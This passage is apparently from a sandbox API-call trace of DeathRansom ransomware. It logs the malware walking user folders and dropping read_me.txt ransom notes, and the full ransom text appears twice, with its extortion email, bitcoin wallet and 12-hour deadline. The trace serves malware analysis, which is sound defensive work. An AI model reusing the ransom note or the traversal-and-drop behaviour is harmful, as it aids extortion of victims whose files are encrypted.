out: lpFindFileData=0x17ee30*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0078.059] lstrcpyW (in: lpString1=0x42a2108, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes" [0078.059] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 51 [0078.059] QueueUserWorkItem (Function=0x40a710, Context=0x42a2108, Flags=0x0) returned 1 [0078.059] GetProcessHeap () returned 0x540000 [0078.059] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42b2110 [0078.060] wnsprintfW (in: pszDest=0x42b2110, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*") returned 55 [0078.060] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.094] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private" [0078.095] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 52 [0078.095] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0078.095] GetProcessHeap () returned 0x540000 [0078.095] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42c2118 [0078.095] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*") returned 64 [0078.095] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\*", lpFindFileData=0x17e940 | out: lpFindFileData=0x17e940*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc2c8 [0078.108] lstrcpyW (in: lpString1=0x42b2110, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos" [0078.108] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 53 [0078.108] QueueUserWorkItem (Function=0x40a710, Context=0x42b2110, Flags=0x0) returned 1 [0078.108] GetProcessHeap () returned 0x540000 [0078.108] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42c2118 [0078.108] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*") returned 55 [0078.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_private", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.108] wnsprintfW (in: pszDest=0x42c2118, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\read_me.txt") returned 65 [0078.108] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my videos\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0078.109] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.109] WriteFile (in: hFile=0x7a8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17ee1c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17ee1c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.110] CloseHandle (hObject=0x7a8) returned 1 [0078.110] GetProcessHeap () returned 0x540000 [0078.110] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x42c2118 | out: hHeap=0x540000) returned 1 [0078.110] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x622afd60, ftCreationTime.dwHighDateTime=0x1d560fb, ftLastAccessTime.dwLowDateTime=0xbb7a2670, ftLastAccessTime.dwHighDateTime=0x1d53888, ftLastWriteTime.dwLowDateTime=0xbb7a2670, ftLastWriteTime.dwHighDateTime=0x1d53888, nFileSizeHigh=0x0, nFileSizeLow=0xa15d, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="NVNMMK0GjdgZsRve.docx", cAlternateFileName="NVNMMK~1.DOC")) returned 1 [0078.110] lstrcpyW (in: lpString1=0x42c2118, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files" [0078.110] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 54 [0078.110] QueueUserWorkItem (Function=0x40a710, Context=0x42c2118, Flags=0x0) returned 1 [0078.110] GetProcessHeap () returned 0x540000 [0078.110] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42d2120 [0078.111] wnsprintfW (in: pszDest=0x42d2120, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*") returned 59 [0078.111] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.113] lstrcpyW (in: lpString1=0x42d2120, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_" [0078.113] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 55 [0078.113] QueueUserWorkItem (Function=0x40a710, Context=0x42d2120, Flags=0x0) returned 1 [0078.113] GetProcessHeap () returned 0x540000 [0078.113] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42e2128 [0078.114] wnsprintfW (in: pszDest=0x42e2128, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\*") returned 61 [0078.114] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\U6aTyua27I1SNb_\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9130360, ftCreationTime.dwHighDateTime=0x1d4d224, ftLastAccessTime.dwLowDateTime=0x49db50f0, ftLastAccessTime.dwHighDateTime=0x1d4c891, ftLastWriteTime.dwLowDateTime=0x49db50f0, ftLastWriteTime.dwHighDateTime=0x1d4c891, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.116] lstrcpyW (in: lpString1=0x42220c8, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0078.116] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 56 [0078.116] QueueUserWorkItem (Function=0x40a710, Context=0x42220c8, Flags=0x0) returned 1 [0078.116] GetProcessHeap () returned 0x540000 [0078.116] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42e2128 [0078.116] wnsprintfW (in: pszDest=0x42e2128, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned 45 [0078.116] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.118] lstrcpyW (in: lpString1=0x42e2128, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0078.118] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 57 [0078.118] QueueUserWorkItem (Function=0x40a710, Context=0x42e2128, Flags=0x0) returned 1 [0078.118] GetProcessHeap () returned 0x540000 [0078.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x42f2130 [0078.119] wnsprintfW (in: pszDest=0x42f2130, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned 45 [0078.119] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.120] lstrcpyW (in: lpString1=0x4302138, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0078.120] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 58 [0078.120] QueueUserWorkItem (Function=0x40a710, Context=0x4302138, Flags=0x0) returned 1 [0078.120] GetProcessHeap () returned 0x540000 [0078.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4312140 [0078.217] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*") returned 51 [0078.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.218] lstrcpyW (in: lpString1=0x4312140, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0078.218] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 59 [0078.218] QueueUserWorkItem (Function=0x40a710, Context=0x4312140, Flags=0x0) returned 1 [0078.218] GetProcessHeap () returned 0x540000 [0078.218] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4322148 [0078.220] wnsprintfW (in: pszDest=0x4322148, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*") returned 64 [0078.220] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.264] lstrcpyW (in: lpString1=0x4322148, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0078.264] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 60 [0078.264] QueueUserWorkItem (Function=0x40a710, Context=0x4322148, Flags=0x0) returned 1 [0078.264] GetProcessHeap () returned 0x540000 [0078.264] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0078.265] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*") returned 58 [0078.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.311] lstrcpyW (in: lpString1=0x42f2130, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0078.311] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 61 [0078.311] QueueUserWorkItem (Function=0x40a710, Context=0x42f2130, Flags=0x0) returned 1 [0078.311] GetProcessHeap () returned 0x540000 [0078.312] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4340048 [0078.312] wnsprintfW (in: pszDest=0x4340048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned 41 [0078.312] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.313] lstrcpyW (in: lpString1=0x4340048, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings" [0078.313] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 62 [0078.313] QueueUserWorkItem (Function=0x40a710, Context=0x4340048, Flags=0x0) returned 1 [0078.313] GetProcessHeap () returned 0x540000 [0078.313] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4350050 [0078.314] wnsprintfW (in: pszDest=0x4350050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned 50 [0078.314] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="RecentPlaces.lnk", cAlternateFileName="\x07")) returned 0xffffffff [0078.314] wnsprintfW (in: pszDest=0x4350050, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\read_me.txt") returned 60 [0078.314] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\local settings\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.315] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.315] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.316] CloseHandle (hObject=0x7a4) returned 1 [0078.316] GetProcessHeap () returned 0x540000 [0078.316] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4350050 | out: hHeap=0x540000) returned 1 [0078.316] lstrcpyW (in: lpString1=0x4350050, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music" [0078.316] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 63 [0078.316] QueueUserWorkItem (Function=0x40a710, Context=0x4350050, Flags=0x0) returned 1 [0078.316] GetProcessHeap () returned 0x540000 [0078.316] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4360058 [0078.317] wnsprintfW (in: pszDest=0x4360058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned 41 [0078.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1aa680b0, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1aa680b0, 